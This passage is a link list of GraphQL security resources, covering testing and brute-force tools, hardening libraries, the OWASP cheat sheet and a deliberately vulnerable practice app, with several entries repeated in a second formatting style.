- graphw00f (fingerprinting): https://github.com/dolevf/graphw00f
- GraphQL Voyager (visualization): https://graphql-kit.com/graphql-voyager/
- Altair GraphQL Client: https://altairgraphql.dev/
- GraphQL Armor (hardening): https://github.com/Escape-Technologies/graphql-armor
- OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
- HackTricks GraphQL: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html
- Damn Vulnerable GraphQL Application: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
- GraphQL 规范:https://spec.graphql.org/
- GraphQL multipart request spec:https://github.com/jaydenseric/graphql-multipart-request-spec
- InQL(Burp extension):https://github.com/doyensec/inql
- graphql-cop(security auditor):https://github.com/dolevf/graphql-cop
- CrackQL(batching/brute-force tool):https://github.com/nicholasaleks/CrackQL
- BatchQL(batch query tool):https://github.com/assetnote/batchql
- clairvoyance(schema reconstruction):https://github.com/nikitastupin/clairvoyance
- graphw00f(fingerprinting):https://github.com/dolevf/graphw00f
- GraphQL Voyager(visualization):https://graphql-kit.com/graphql-voyager/
- Altair GraphQL Client:https://altairgraphql.dev/
- GraphQL Armor(hardening):https://github.com/Escape-Technologies/graphql-armor
- OWASP GraphQL Cheat Sheet:https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
- HackTricks GraphQL:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html
- Damn Vulnerable GraphQL Application:https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application